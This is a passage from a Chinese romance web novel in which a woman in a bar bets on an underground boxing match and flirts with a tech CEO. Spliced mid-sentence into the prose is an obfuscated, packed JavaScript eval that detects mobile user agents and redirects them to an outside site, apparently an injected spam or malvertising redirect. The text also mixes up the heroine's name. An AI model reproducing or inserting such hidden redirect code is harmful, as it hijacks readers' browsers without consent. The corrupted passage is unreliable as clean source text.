男人自己也点了支烟,可这回轮到他的打火机突然罢工,打了两次也没打着。他低笑一声,声音里带着几分无奈:"礼尚往来?" “行啊。”谈丹青便将自己的烟凑过去。 两人距离瞬间重叠在一起,烟头相碰,她烟尾的一团火跃至了他的手指之间,若即若离。她甚至能看清他睫毛在灯光下投下的阴影。 “第一次来这儿?”魏繁星问她。 “对,你呢?” “魏总,您的酒。”这时酒保送来一杯红酒。 谈丹青说:“老板?” “股东,”男人直截了当地承认了身份,“偶尔来盯盯场子。” 谈丹青忽地笑了,说:“哦,那你这儿挺没意思啊。” “那是你没玩对。”男人也笑。 “什么意思?” 男人示意酒保取来今晚的花名册。 纸页上赫然印着:LeovsGoat “怎么玩?”谈丹青好奇地问。 "在这张卡上押你看好的选手。"他修长的手指点了点空白处,"赢了按赔率拿钱。" 原来明面上的拳赛只是幌子,暗地里早开了盘口。 谈丹青扫了一眼名册,只认识一个名字:“leo”。 听说他很强。 笔尖刚要落下,魏繁星忽然出声。 “leo?”男人不大认可地摇了摇头,在玻璃烟灰缸里弹下烟灰,说:“他?他不行,才19,太年轻了。拳击虽然吃体力,但更吃经验。Goat现在才是巅峰期。押他等于扔钱。” 谈丹青感觉魏繁星这个人的控制欲很强,她自由惯了,总不喜被人操控。魏繁星越不让她押“leo”,她反而越想押。 “年轻有什么不好?”谈丹青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547425|171204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑衅地扬唇笑,说:“初生牛犊不怕虎,年轻人才是希望。” 她在“leo”上押了三千块,按照一比三赔率,如果Leo能打赢,她今晚就能赚九千块。 这时一声尖锐的哨音拉开序幕。 “怎么了怎么了?”谈丹青好奇地张望。 大厅迸发出一阵激烈浪潮般的呐喊。 众人狂热地大喊“leo”的名字。 “Leo!Leo!Leo!” 八角笼外围人实在太多,谈丹青挤不进去,只远远看见选手在通道口投下一道修长的剪影,黑色背心被汗水浸透,紧贴在绷紧的背部肌肉上。人群的欢呼声还在继续,但他的身影已经消失在走廊拐角。 “结果出来了,”有观众告诉她。 “谁赢了?”谈丹青问。 “Leo。” “哈!”谈丹青都懵了。 这么快就白赚九千??? 当酒保给她一叠钞票的时候,谈丹青还有点懵。 她乐滋滋地数钱,魏繁星看着她,含笑着摇了摇头,对酒保说:“她拿的这九千块钱,不会是我刚刚押的吧?” 酒保:“是……” 魏繁星扬眉,也无奈地笑了笑。他冲谈丹青举起了酒杯,“祝贺了。” 谈丹青眉开眼笑。 “还觉得这地方不好玩吗?”魏繁星又问。 即便白拿了九千块,谈丹青依然坚持自己的感受,“不好玩。” “为什么?”魏繁星有些讶然,“世界上应该没有比现在这种来钱更快的方式吧?” “正因为如此,所以我才不喜欢,”谈丹青说:“阈值太高啦。习惯了来钱这么快,就再也忍受不了一分一厘慢慢积攒的过程,” “但我啊,”她顿了顿,眼胜繁星,朝他张开了自己的手,“偏偏就喜欢那种踏踏实实的,能攥在手心里的感觉。” 男人望着她,默了一瞬。 “你叫什么?”他吸了口烟,忽地开口:“加个wx?” 谈丹青红唇微勾:"手机落车里了。" 她晃了晃夹着烟的手指,说:"要不你说号码?" 这年头,不带脑子都不可能不带手机。 可谈青彤就是这样的脾气,主动权永远要掌握在自己手里。 让她傻乎乎地给出自己的联系方式,然后守在手机前等回音。 那是绝无可能的事。 男人似笑非笑地看了她一眼,了然她的心中的小九九,但依然从怀里掏出一张名片,然后在名片背后,写下了自己的手机号,地给了他,“这是我的手机号,wx也是这个。” “哦,”谈青彤接过名片,在指尖转了个圈,念出声:“繁星科技公司ceo,魏繁星。” “没听过诶,”谈丹青真不知道这家公司,拿着名片在耳畔扇风。 那男人没恼,吐出一口烟圈,淡声说:“嗯,无名小卒。” * 谈丹青一到家就将高跟鞋踢了,晕乎乎地倒在沙发上。今晚的酒后劲有点大,刚才在外面再晕也要打起精神,现在终于回到了自己熟悉的环境,自然松懈下来。 窗户上的白帆布随着夜风飘,吹开的时候落进月光,风停的时候一团黑暗,那似有若无的一缕光,转得她头痛欲裂。 她听到有人出来,以为是谈小白,皱着眉嘀咕了一句:“几点了,还不滚回去睡觉。” 那人却在她身后没动。 大半夜,一个人一言不发地站在背后盯着自己,也是怪渗人。 过了半晌,就听见绪东阳开口:“你喝醉了。”